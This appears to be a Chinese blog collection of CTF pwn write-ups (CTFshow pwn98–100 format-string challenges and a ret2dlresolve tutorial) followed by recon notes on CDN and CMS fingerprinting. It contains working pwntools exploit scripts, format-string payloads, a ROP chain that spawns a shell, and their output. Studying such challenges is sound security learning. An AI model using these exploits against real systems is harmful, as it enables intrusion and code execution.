稍微看一下就能看到程序中还是存在后门函数：

int _stack_check()
{
  puts("you_find_me_but_I_have_canary_protect_me!");
  return system("/bin/sh");
}

利用格式化字符串漏洞的任意读，由于canary的最低字节是0x00，所以不能用%s的格式当作字符串来读，而应该使用%p/%x等当作一个数来读，计算好偏移，将 Canary 填入到相应的溢出位置，实现 ret 到后门函数中

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Find the vulnerability and then exploit it !
    * *************************************
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0x804b000-0xe9fcbe34-0x8048716-0xffb56698-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025

偏移值5，最终偏移量(0x34-0x0c)/4 + 5 = 15[ 32 位下调用 printf 时，所有参数会从栈上传给它。格式化字符串里的 %n$p 是按照printf 可变参数列表的第 1 个参数开始数。每个 %n$p 实际读取的是 4 字节的栈值（一个参数）]

s 的地址：ebp - 0x34
Canary (v2)：ebp - 0xC

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28206)
elf = ELF('./pwn')
shell = elf.sym['__stack_check']
io.recv()
payload = "%15$x"
io.sendline(payload)
canary = int(io.recv(),16) #16进制字符串转成整数类型
log.info("Canary : 0x%x" % canary)
payload = cyclic(0x28) + p32(canary) + b'A'*0xC + p32(shell)
#填充缓冲区s[40]+ Canary值（绕过检查）+保存的ebp(填充EBP到返回地址之间的空隙)+shell(把返回地址改成后门函数的地址)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 105
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Canary : 0x77ae9c00
[*] Switching to interactive mode
you_find_me_but_I_have_canary_protect_me!
$ ls
ctfshow_flag

这里仅仅是提前让大家学习了解如何绕过Canary保护，详细内容再Bypass Canary保护的时候会再详细讲解。原理在这里不再概述。

pwn99

Hint：fmt盲打（不是忘记放附件，是本身就没附件！！！）

没有附件，那么很明显，我们只能通过远程连接查看程序干了什么，一般来说，没有附件的题相对来说

会比有附件的逻辑更加简单。

直接连接：

$ nc pwn.challenge.ctf.show 28217
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Flag is on Stack !
    * *************************************
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0x7ffd4eee4820-0x200-0x7fa6b7bfa031-0x46-0x7fa6b81004c0-0x2d70252d61616161-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0xa70252d70-0x7fa6b8106170-0x7fa6b8106170-0x7fa6b7ef3d38-0x7ffd4eee4a60
お前も舞うか?

根据Hint我们能看到flag还是在栈上，那么我们就可以通过去泄漏栈上的数据去查看flag

首先还是看一下，显而易见的能看出存在格式化字符串漏洞，既然告诉了我们flag在栈上，那么我们直接利用格式化字符串漏洞的任意读功能去尝试读一下试试

法一
暴力泄露

payload = b"a"*8+b"%p.%p"*2000

法二

用脚本扫描

from pwn import *
context.log_level = 'error' #只显示错误信息，减少干扰
def leak(payload):
io = remote('pwn.challenge.ctf.show',28217)
io.recv()
io.sendline(payload)
data = io.recvuntil(b'\n', drop=True)
if data.startswith(b'0x'):
print(p64(int(data, 16)))
io.close()
i = 1
while 1:
payload = f'%{i}$p'.encode() #构建payload并转换为字节类型
leak(payload)
i += 1

$ python3 exp.py
b'ctfshow{'
b'W0w_y0u_'
b'c@n_r3@1'
b'1y_d@nce'
b'!}

pwn100

看了这个师傅的CTFshow-pwn入门-pwn100 WP-CSDN博客

Hint：有些东西好像需要一定条件

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

64位保护全开意味着

FULL RELRO：不能通过修改GOT表劫持控制流。
PIE 开启：程序加载地址随机化，需泄露基址才能定位函数。
Canary：栈溢出无效，需用格式化字符串漏洞。

IDA查看main函数：

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-14h] BYREF
  int v4; // [rsp+10h] [rbp-10h] BYREF
  unsigned int int; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  initial(argc, argv, envp);
  whattime();
  v3 = 0;
  v4 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        int = get_int();
        if ( int != 2 )
          break;
        fmt_attack(&v3);
      }
      if ( int > 2 )
        break;
      if ( int == 1 )
        leak(&v4);
    }
    if ( int == 3 )
      get_flag();
    if ( int == 4 )
    {
      puts("Bye!");
      exit(0);
    }
  }
}

跟进whattime：

unsigned __int64 whattime()
{
  __int64 v1; // [rsp+0h] [rbp-20h] BYREF
  __int64 v2; // [rsp+8h] [rbp-18h] BYREF
  __int64 v3; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Hello my bro.");
  printf("What time is it :");
  _isoc99_scanf("%ld", &v1);
  _isoc99_scanf("%ld", &v2);
  _isoc99_scanf("%ld", &v3);
  printf("Ok! time is %ld:%ld:%ld\n", v1, v2, v3);
  return __readfsqword(0x28u) ^ v4;
} //没啥用

跟进menu

unsigned __int64 menu()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("1. leak");
  puts("2. fmt_attack");
  puts("3. get_flag");
  puts("4. exit");
  printf(">>");
  return __readfsqword(0x28u) ^ v1;
}

跟进fmt_attack:

unsigned __int64 __fastcall fmt_attack(int *a1)
{
  char format[56]; // [rsp+10h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(format, 0, 0x30u);
  if ( *a1 > 0 )
  {
    puts("No way!");
    exit(1);
  }
  *a1 = 1;
  read_n(format, 40, format);
  printf(format);
  return __readfsqword(0x28u) ^ v3;
}

printf(format);明显的格式化字符串漏洞，可以看到这里有一个判定条件，我们每次使用该函数时，将*a1(v3)处的值改为零即可循环利用该函数。

在gdb中进行动态调试：

打断点到运行到代码*a1 = 1

$ gdb ./pwn

pwndbg> b fmt_attack
pwndbg> r
Hello my bro.
What time is it :2025
8
15
Ok! time is 2025:8:15
1. leak
2. fmt_attack
3. get_flag
4. exit
>>2. fmt_attack

pwndbg> disassemble fmt_attack
   0x00006454ea400ea9 <+83>:mov    DWORD PTR [rax],0x1 #*a1 = 1

pwndbg> b *0x00006454ea400ea9
pwndbg> c
pwndbg> info registers rax # 查看a1指针的值（rax寄存器）
rax            0x7fff9e224b7c      140735846435708
pwndbg> x/w $rax # 查看*a1当前的值
0x7fff9e224b7c:0
pwndbg> ni
pwndbg> x/w $rax # 再次查看*a1的值
0x7fff9e224b7c:1

运行到printf函数查看偏移：

pwndbg> n
0x7fff9e224b20.0x28.0x79eb78110a61.0x1999999999999999.(nil).(nil).0x7fff9e224b7c.0x70252e70252e7025.0x252e70252e70252e.0x2e70252...

前 6 个%p的含义(6个寄存器传参)：
- 0x7fff9e224b20：format缓冲区的地址（即输入字符串的起始地址）
- 0x28：read_n的第二个参数（读取长度 40 字节）
- 0x79eb78110a61：read函数的内部地址（libc 中的代码）
- 0x1999999999999999：r8寄存器的值（与程序逻辑无关）
- (nil)：两个空指针（r9和部分栈数据）
第 7 个%p（0x7fff9e224b7c）：
- 这个值是v3变量的地址（即a1指针指向的内存），从之前的调试可知*a1已被设为1，符合程序逻辑。
从第 8 个%p开始（0x70252e70252e7025等）：
- 这些是你输入的字符串本身的 ASCII 值（如0x7025对应%p的十六进制表示），说明从第 8 个位置开始，printf开始解析你输入的字符串内容。

结论：格式化字符串的偏移为7

我们每次利用fmt_attack函数时，加上%7$n即可令*a1=0,即可重复利用fmt_attack。

$ gdb ./pwn

pwndbg> b fmt_attack
pwndbg> r
Hello my bro.
What time is it :2025
8
15
Ok! time is 2025:8:15
1. leak
2. fmt_attack
3. get_flag
4. exit
>>2. fmt_attack

pwndbg> x/gx $rbp+8 #main的返回地址0x00006542a9e0102c
0x7ffdc794ca98:0x00006542a9e0102c 
pwndbg> disassemble main
   0x00006542a9e01027 <+113>:call   0x6542a9e00e56 
   0x00006542a9e0102c <+118>:jmp    0x6542a9e0104b 
#elf_base = leak_ret - 0x102c（0x102c是返回地址在程序中的偏移）

pwndbg> n #单步执行到 call   read_n 
%17$p
pwndbg> n #单步执行到 call   printf@plt 
pwndbg> n
0x6542a9e0102c

pwndbg> stack 30
0a:0050│ rbp 0x7ffdc794ca90 —▸ 0x7ffdc794cac0 —▸ 0x7ffdc794cb60 —▸ 0x7ffdc794cbc0 ◂— 0
0b:0058│+008 0x7ffdc794ca98 —▸ 0x6542a9e0102c (main+118) ◂— jmp main+149
#0x7ffdc794cac0(上层rbp)-0x7ffdc794ca98=0x28

%7$p：对应a1指针指向的地址（&v3）

%17$p：对应栈上main的返回地址→ 算出 ELF 基址（因为 PIE 开启）

;main
push    rbp          ; 保存调用者的 rbp（占用 8 字节）
mov     rbp, rsp     ; 设置新的栈帧基址
sub     rsp, 20h     ; 分配 0x20（32）字节的栈空间

        高地址
        +---------------------+
        |    caller's stack   | 
        +---------------------+
        |  main 的返回地址      | <-- 调用 main 函数的返回地址 (8 bytes)
--------+---------------------+ <-- main 的 rbp
        |  保存的 rbp    |  (8 bytes)
        +---------------------+
 0x28   |                     | 
        |  main 局部变量区      | <-- 0x20 (32 bytes) 空间
        |                     |
--------+---------------------+
        |  fmt_attack 返回地址  | <-- 这就是要修改的目标 (8 bytes)
        +---------------------+
        |  保存的 rbp          | <-- fmt_attack 的 rbp (8 bytes)
        +---------------------+
        |fmt_attack 局部变量|
        +---------------------+
        低地址

#泄露返回地址的栈位置（用来存返回地址）
fmt(b'%7$n-%16$p') #%7$n重置*a1，%16$p泄露上层rbp
io.recvuntil('-')
ret_addr = int(io.recvuntil('\n')[:-1],16)-0x28 #返回地址位置
log.success("ret_addr: "+hex(ret_addr))

#泄露返回地址的值
fmt(b'%7$n+%17$p')
io.recvuntil(b'+')
ret_value = int(io.recvuntil(b'\n')[:-1],16)
elf_base = ret_value - 0x102c #计算程序基址

void __noreturn get_flag()
{
  __int64 p_format; // rdx
  int fd; // [rsp+Ch] [rbp-64h]
  char s2[88]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v3; // [rsp+68h] [rbp-8h]

  v3 = __readfsqword(0x28u); // 栈保护canary
  memset(s2, 0, 0x50u); // 初始化s2缓冲区
  puts("Flag is here ! Come on !!"); 
  read_n(s2, 64, p_format); // 读取64字节输入到s2
  if ( !strncmp(secret, s2, 0x40u) ) // 比较s2与secret的前64字节
  {
    close(1);
    fd = open("/flag", 0);
    read(fd, s2, 0x50u);
    printf(s2);
    exit(0);
  }
  puts("No way!");
  exit(1);
}

直接跳转到close函数后：

.text:0000000000000F51                 call    close
.text:0000000000000F56                 mov     esi, 0          ; oflag
#设置打开文件的模式（O_RDONLY，只读），“验证通过后、打开/flag前” 的关键节点
.text:0000000000000F5B                 lea     rdi, aFlag      ; "/flag"
#加载文件名"/flag"到rdi寄存器
.text:0000000000000F62                 mov     eax, 0
#准备调用open系统调用（eax=0表示无额外参数）
.text:0000000000000F67                 call    open
#实际打开"/flag"文件

然后直接更改低2字节（如0xffff）【获取目标地址的低 2 字节（16 位），用于通过格式化字符串的%hn进行 “部分写”（partial write），从而修改返回地址】：

(elf_base+0xf56)&0xffff
→
payload = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'

'''
b'%' + str(...) + b'c':这部分是控制输出字符数：构造格式字符串让printf输出指定数量的字符。
假设(elf_base + 0xf56) & 0xffff的结果是N（比如0xf56对应的十进制是3926），则这部分会变成b'%3926c'。
%3926c的含义是：让printf输出 3926 个字符（通常是填充空格，不影响其他数据），此时printf的总输出字符数就是 3926。

b'%10$hn':这部分是指定写入地址和长度：通过格式化字符串的参数索引，将输出字符数写入目标地址。
%10$h：10$表示操作第 10 个参数（即我们之前计算的ret_addr——main返回地址在栈上的存储位置）；h表示操作 2 字节数据（对应%hn）。
%10$hn的作用是：将printf输出的总字符数（即上面的N）写入到第 10 个参数指向的地址（ret_addr）中。

则完整payload 是b'%3926c%10$hn'
'''

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
context.terminal=['tmux','new-window']
def fmt(payload):
        io.recvuntil(b">>")
        io.sendline(b'2')
        io.sendline(payload)

io.sendline(b'20 00 00')

fmt(b'%7$n-%16$p')
io.recvuntil(b'-')
ret_addr = int(io.recvuntil(b'\n')[:-1],16)-0x28
log.success("ret_addr: "+hex(ret_addr))

fmt(b'%7$n+%17$p')
io.recvuntil(b'+')
ret_value = int(io.recvuntil(b'\n')[:-1],16)
elf_base = ret_value - 0x102c

payload = b"%7$hn"+b"%p"*0x20
payload = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%1$hn'
payload = payload.ljust(0x10,b'b')
payload += b'aaaaaaaa'
io.recvuntil(b">>")
io.sendline(b'2')
gdb.attach(io)                 
pause()
io.sendline(payload)
pause()

[*] Paused (press any to continue)
[DEBUG] Sent 0x19 bytes:
    b'%3926c%1$hnbbbbbaaaaaaaa\n'
[*] Paused (press any to continue)

 _ 0x628d35800ecc     call   printf@plt                  
        format: 0x7ffe9c880bc0 __ '%3926c%1$hnbbbbbaaaaaaaa\n'
        vararg: 0x7ffe9c880bc0 __ '%3926c%1$hnbbbbbaaaaaaaa\n'

   0x628d35800ed1     nop
   0x628d35800ed2     mov    rax, qword ptr [rbp - 8]
   0x628d35800ed6     xor    rax, qword ptr fs:[0x28]
   0x628d35800edf     je     fmt_attack+144              

   0x628d35800ee1     call   __stack_chk_fail@plt        <__stack_chk_fail@plt>
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ STACK ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
00:0000x rsp     0x7ffe9c880bb0 __ 0
01:0008x-048     0x7ffe9c880bb8 __ 0x7ffe9c880c1c __ 1
02:0010x rdi rsi 0x7ffe9c880bc0 __ '%3926c%1$hnbbbbbaaaaaaaa\n'
03:0018x-038     0x7ffe9c880bc8 __ '$hnbbbbbaaaaaaaa\n'
04:0020x-030     0x7ffe9c880bd0 __ 'aaaaaaaa\n'
05:0028x-028     0x7ffe9c880bd8 __ 0xa /* '\n' */
06:0030x-020     0x7ffe9c880be0 __ 0
07:0038x-018     0x7ffe9c880be8 __ 0

调试，在弹出的窗口输入n，再在原窗口按下任意键继续，单步执行到printf@plt，可以看到aaaaaaaa在栈上第五个，加上寄存器五个，就是第十个参数

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28208)
def fmt(payload):
io.recvuntil(b">>")
io.sendline(b'2')
io.sendline(payload)
    
io.sendline(b'20 00 00')

fmt(b'%7$n-%16$p')
io.recvuntil(b'-')
ret_addr = int(io.recvuntil(b'\n')[:-1],16)-0x28
log.success("ret_addr: "+hex(ret_addr))

fmt(b'%7$n+%17$p')
io.recvuntil(b'+')
ret_value = int(io.recvuntil(b'\n')[:-1],16)

elf_base = ret_value - 0x102c
payload = b"%7$hn"+b"%p"*0x20 #枚举栈上的参数值，验证偏移是否正确
payload = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'
payload = payload.ljust(0x10,b'a')
payload += p64(ret_addr)
fmt(payload)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
io.interactive()

$ python3 exp.py
[+] Opening connection to pwn.challenge.ctf.show on port 28208: Done
[+] ret_addr: 0x7ffe054431a8
[+] ret_value: 0x55a5194a202c
[+] ret_addr: 0x7ffe054431a8
[*] Switching to interactive mode
                                                                              $    `aaaa\xa81D\x05\xfe\x7fctfshow{32344162-2afa-4544-b0e9-d1d45d4a5fc5}
\xcdD\xd01D\x05\xfe\x7f[*] Got EOF while reading in interactive

1-ret2dlresolve

2025-08-03T14:00:00.000Z

在学习这个 ROP 利用技巧前，需要首先理解动态链接的基本过程以及 ELF 文件中动态链接相关的结构。动态链接

原理

在 Linux 中，程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢？答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。

具体的，动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号，那么攻击就达成了。

思路 1 - 直接控制重定位表项的相关内容

由于动态链接器最后在解析符号的地址时，是依据符号的名字进行解析的。因此，一个很自然的想法是直接修改动态字符串表 .dynstr，比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是，动态字符串表和代码映射在一起，是只读的。此外，类似地，我们可以发现动态符号表、重定位表项都是只读的。

但是，假如我们可以控制程序执行流，那我们就可以伪造合适的重定位偏移，从而达到调用目标函数的目的。然而，这种方法比较麻烦，因为我们不仅需要伪造重定位表项，符号信息和字符串信息，而且我们还需要确保动态链接器在解析的过程中不会出错。

思路 2 - 间接控制重定位表项的相关内容

既然动态链接器会从 .dynamic 节中索引到各个目标节，那如果我们可以修改动态节中的内容，那自然就很容易控制待解析符号对应的字符串，从而达到执行目标函数的目的。

思路 3 - 伪造 link_map

由于动态连接器在解析符号地址时，主要依赖于 link_map 来查询相关的地址。因此，如果我们可以成功伪造 link_map，也就可以控制程序执行目标函数。

下面我们以 2015-XDCTF-pwn200 来介绍 32 位和 64 位下如何使用 ret2dlresolve 技巧。

32 位例子

NO RELRO

点击下载: main_no_relro_32

checksec

$ chmod +x main_no_relro_32
$ checksec main_no_relro_32
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

在这种情况下，修改 .dynamic 会简单些。因为我们只需要修改 .dynamic 节中的字符串表的地址为伪造的字符串表的地址，并且相应的位置为目标字符串基本就行了。具体思路如下

修改 .dynamic 节中字符串表的地址为伪造的地址
在伪造的地址处构造好字符串表，将 read 字符串替换为 system 字符串。
在特定的位置读取 /bin/sh 字符串。
调用 read 函数的 plt 的第二条指令，触发 _dl_runtime_resolve 进行函数解析，从而执行 system 函数。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t n; // eax
  char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
  int *p_argc; // [esp+70h] [ebp-Ch]

  p_argc = &argc;
  strcpy(buf, "Welcome to XDCTF2015~!\n");
  memset(&buf[24], 0, 0x4Cu);
  setbuf(stdout, buf);
  n = strlen(buf);
  write(1, buf, n);
  vuln();
  return 0;
}

ssize_t vuln()
{
  char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF

  setbuf(stdin, buf);
  return read(0, buf, 0x100u);
}

典型的缓冲区溢出漏洞：读取 256 字节到仅 104 字节的缓冲区

$ readelf -d ./main_no_relro_32
Dynamic section at offset 0x7c4 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000005 (STRTAB)                     0x804824c
 0x0000000a (STRSZ)                      107 (bytes)
#0x00000005 是 DT_STRTAB 的标签，标识这是动态字符串表（.dynstr）的地址
#0x804824c 是原始的 .dynstr 字符串表在内存中的地址

# 找到 STRTAB 在 .dynamic 节中的存储位置
$ objdump -s -j .dynamic ./main_no_relro_32
./main_no_relro_32:     file format elf32-i386
Contents of section .dynamic:
 8049804 05000000 4c820408 06000000 ac810408  ....L...........
#05000000 → 标签 DT_STRTAB（0x00000005）
#4c820408 → 对应的值（即原始 STRTAB 地址 0x804824c，小端转大端后为 0x0804824c） 

$ readelf -S ./main_no_relro_32
There are 30 section headers, starting at offset 0x10b0:
Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [25] .bss              NOBITS          080498e0 0008e0 000004 00  WA  0   0  1
  [26] .comment          PROGBITS        00000000 0008e0 000029 01  MS  0   0  1
  [27] .symtab           SYMTAB          00000000 00090c 000460 10     28  44  4
  [28] .strtab           STRTAB          00000000 000d6c 00023e 00      0   0  1
  [29] .shstrtab         STRTAB          00000000 000faa 000105 00      0   0  1
#Addr 列：.bss 段的起始地址是 0x080498e0
#Flg 列：W（可写）和 A（已分配），说明该区域有可写权限，可以通过 read 函数写入数据。
#Size 列：000004（4 字节），表示 .bss 段本身只定义了 4 字节，但后面地址为0，是符号表相关，不占用程序运行时内存

$ objdump -d ./main_no_relro_32 -j .plt
./main_no_relro_32:     file format elf32-i386
Disassembly of section .plt:
08048370 <read@plt>:
 8048370:ff 25 c8 98 04 08    jmp    *0x80498c8
 8048376:68 08 00 00 00       push   $0x8
 804837b:e9 d0 ff ff ff       jmp    8048350 <.plt>
#第一条指令：跳向GOT表地址
#第二条指令：压入函数索引（此处为0x8）
#第三条指令：跳回PLT表起始

#rop.raw(data) 是向 ROP 链中直接添加原始数据（字节或地址）的方法

#确定需要修改的内存地址：
上述 DT_STRTAB 标签和地址在 .dynamic 节中的起始偏移是 0x8049804（行首地址）。
其中，STRTAB 地址的具体存储位置是该偏移的 +4 字节处（因为前 4 字节是标签）：
起始偏移：0x8049804
标签位置：0x8049804（4字节：05000000）
地址位置：0x8049804 + 4 = 0x8049808（4字节：4c820408 → 原始地址 0x804824c）
对应到漏洞利用代码：rop.read(0, 0x08049804+4, 4) 

#rop.read(0,0x080498E0+0x100,len(b"/bin/sh\x00"))
+0x100原因：
程序内存的 “页级连续性”：
- 操作系统分配内存时，是以 “页” 为单位（通常 32 位系统中一页为 4096 字节）。
- .bss 段虽然只定义了 4 字节，但它所在的内存页（从 0x080498e0 开始的 4096 字节区域）是完整分配的，且整个页都带有可写权限（因为 .bss 段的 W 标志会使整个页被标记为可写）。
- 因此，0x080498e0 之后的地址（即使超出 .bss 段的定义大小）仍属于同一可写内存页，可以正常读写数据。

#rop.raw(0x08048376)
压入 read 函数的索引（动态链接器会根据该索引去 .dynstr 表查找函数名）。
由于 .dynstr 表已被替换，动态链接器会误认为要解析的是 system 函数，从而将 read@got 地址更新为 system 函数的真实地址。
最终执行时，原本调用 read 的地方会实际执行 system 函数，配合参数 /bin/sh 即可获取 shell。

#assert(len(rop.chain())<=256)
程序的 vuln 函数中，read 函数最多读取 0x100（256 字节）
#rop.raw("a"*(256-len(rop.chain())))
填充 ROP 链到刚好 256 字节。

from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")
p.recvuntil(b'Welcome to XDCTF2015~!\n')
offset = 0x6c+4
rop.raw(offset*b'a')
rop.read(0,0x08049804+4,4) # 调用read函数修改内存【从标准输入读取，要修改的内存地址（.dynamic 节中字符串表指针的位置），要读取的字节数（32 位程序中地址是 4 字节）】
dynstr = elf.get_section_by_name('.dynstr').data()# 获取原始字符串表数据
dynstr = dynstr.replace(b"read",b"system")# 将"read"字符串替换为"system"
rop.read(0,0x080498E0,len((dynstr))) # 将伪造的字符串表写入指定地址
rop.read(0,0x080498E0+0x100,len(b"/bin/sh\x00")) # 存储/bin/sh字符串的地址（在伪造的字符串表后面），要执行的 shell 命令，必须以空字节结尾【偏移 0x100 确保远离伪造的字符串表（dynstr 的长度从之前的 readelf -d 可知是 107 字节，0x100 足够覆盖），且内存页的连续性】

#read函数的原型是ssize_t read(int fd, void *buf, size_t count)，需要3 个参数
rop.raw(0x08048376) # read@plt的第二条指令地址
rop.raw(0xdeadbeef) # 占位数据（会被忽略）
#在正常函数调用中，调用者会先将 "返回地址"（即函数执行完后要回到的下一条指令地址）压入栈，再压入参数。
#但在当前 ROP 步骤中，我们只关心read函数的执行（目的是往0x080498E0+0x100写入/bin/sh），暂时不需要指定它的返回地址，因此用0xdeadbeef（或任意值）占位。后续可以通过覆盖这个位置来控制read执行后的流程（比如跳转到system函数）。
rop.raw(0x080498E0+0x100) # 传给system函数的参数地址（/bin/sh的位置）
print(rop.dump())#打印当前 ROP 链的详细结构，包括每个地址对应的指令或数据，方便调试时确认 ROP 链是否正确。
assert(len(rop.chain())<=256) # 确保ROP总长度不超过256字节
rop.raw(b"a"*(256-len(rop.chain()))) # 填充剩余空间

p.send(rop.chain()) # 发送构造好的ROP链，触发缓冲区溢出并控制程序流程。
p.send(p32(0x080498E0)) # 发送伪造的字符串表地址（4字节）
p.send(dynstr) # 发送修改后的字符串表数据
p.send(b"/bin/sh\x00") # 发送shell命令字符串
p.interactive()

$ python3 exp.py
[+] Starting local process './main_no_relro_32': pid 312
[*] '/CTFshow_pwn/main_no_relro_32'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Loaded 10 cached gadgets for './main_no_relro_32'
[*] Switching to interactive mode
$ ls
ctfshow_flag

0-高级ROP

2025-08-03T14:00:00.000Z

高级 ROP 其实和一般的 ROP 基本一样，其主要的区别在于它利用了一些更加底层的原理。

CDN指纹识别

2025-07-29T12:16:36.000Z

CDN指纹识别思路

如何获取CDN背后的真实IP

1、超级ping
2、历史DNS
3、通过子域名查询IP
4、国外主机解析
5、其他

CDN如何配置

通过DNS解析记录的
CNAME（别名记录）解析到CDN服务器
https://help.aliyun.com/document_detail/27144.htm

CDN指纹识别工具

基本工具

ping：

ping www.alibaba.com

通过解析结果中的CNAME记录识别CDN（如阿里巴巴案例显示secgw-cloud-hz-scproxy.alibaba.com.gds.alibabadns.com）

nslookup：

nslookup www.bilibili.com

查询权威/非权威应答中的别名记录（如bilibili案例显示a.w.bilicdn1.com）

超级ping：

http://ping.chinaz.com

（如12306案例识别出网宿科技CDN）

lbd(load balance detector):

lbd www.12306.cn

Kali自带的负载均衡检测工具，可探测DNS/HTTP层面的负载均衡（如检测12306.cn的多个后端IP）

专用识别工具

mkdir -p /usr/local/soft
cd /usr/local/soft
git clone https://github.com/boy-hack/w8fuckcdn/
cd /usr/local/soft/w8fuckcdn
#这是Python2写的，我用下面那个了

https://github.com/3xp10it/xcdn

cd /usr/local/soft
git clone https://github.com/3xp10it/xcdn
cd ./xcdn
python3 -m venv xcdn-env  # 创建虚拟环境
source xcdn-env/bin/activate  # 激活环境
pip install exp10it requests  # 根据需要添加其他依赖
python3 xcdn.py www.baidu.com  # 运行脚本
deactivate  # 使用完后退出虚拟环境

域名信息收集

2025-07-28T12:16:36.000Z

什么是指纹识别？

定义：

通过关键特征，识别出目标的CMS系统、服务器、开发语言、操作系统、CDN、WAF的类别版本等等

识别对象：

1、CMS信息：比如Discuz、织梦、帝国CMS、PHPCMS、ECshop等；
2、前端技术：比如HTML5、jquery、bootstrap、Vue、ace等；
3、开发语言：比如PHP、Java、Ruby、Python、C#等；
4、Web服务器：比如Apache、 Nginx、IIS、lighttpd等；
5、应用服务器：比如Tomcat、Jboss、Weblogic、Websphere等；
6、操作系统信息：比如Linux、win2k8、win7、Kali、Centos等；
7、CDN信息：是否使用CDN，如cloudflare、帝联、蓝讯、网宿、七
牛云、阿里云等；
8、WAF信息：是否使用WAF，如D盾、云锁、宝塔、安全狗、360等

什么是CMS？

Content Management System：

内容管理系统

常见CMS：

1、企业建站系统：MetInfo(米拓)、蝉知、SiteServer CMS等;

2、B2C商城系统：商派Shopex、ECshop、HiShop、XpShop等;

3、门户建站系统：DedeCMS(织梦)、帝国CMS、PHPCMS、动易、CmsTop等;

4、博客系统：WordPress、Z-Blog等;/5、论坛社区：Discuz、PHPwind、WeCenter等;

5、问答系统：Tipask、whatsns等;

6、知识百科系统：HDwiki;

7、B2B门户系统：Destoon、B2Bbuilder、友邻B2B等;

8、人才招聘网站系统：骑士CMS、PHP云人才管理系统;

9、房产网站系统：FangCms等;

10、在线教育建站系统：Kesion、EduSoho;

11、电影网站系统：苹果CMS、ctcms、movcms等;

12、小说文学建站系统：杰奇CMS;

CMS指纹识别的思路

版权信息：

核心思路：通过特定文件或代码找出关键特征来识别CMS系统
版权信息识别：
- 直接显示：如”Powered by XXX”等底部版权信息可直接判断系统类型
- 隐藏位置：可能出现在标题标签、特定页面或页脚等位置
- 界面风格：熟悉系统默认风格（如Discuz的论坛布局）也能辅助判断
- 案例：吾爱破解论坛保留了Discuz版权信息但隐藏了版本号
去除版权的情况：
- 常见站长会删除版权信息体现专业性
- 可能保留系统特征文件（如favicon.ico）
- 需要结合其他识别方法综合判断

特定文件MD5值 :

识别原理：
- 系统默认文件（如favicon.ico、CSS/JS文件）的MD5值固定
- 通过计算文件MD5值与已知指纹库比对可确定系统类型
常见特征文件：
- favicon.ico：浏览器标签页图标
- 静态资源文件：如/style/dedecms.css等
- 系统图标：未修改的默认按钮图标等
优势：即使修改了版权信息，只要未更改这些文件仍可识别
指纹库应用：
- GitHub上有现成的CMS指纹库（https://github.com/Lucifer1993/cmsprint）

查看网页源码：

识别方法：
- 查看网页源代码中的特征路径或文件名
- 如WordPress的/wp-content/uploads/目录结构
- 特定CSS/JS文件命名（如dedecms.css）
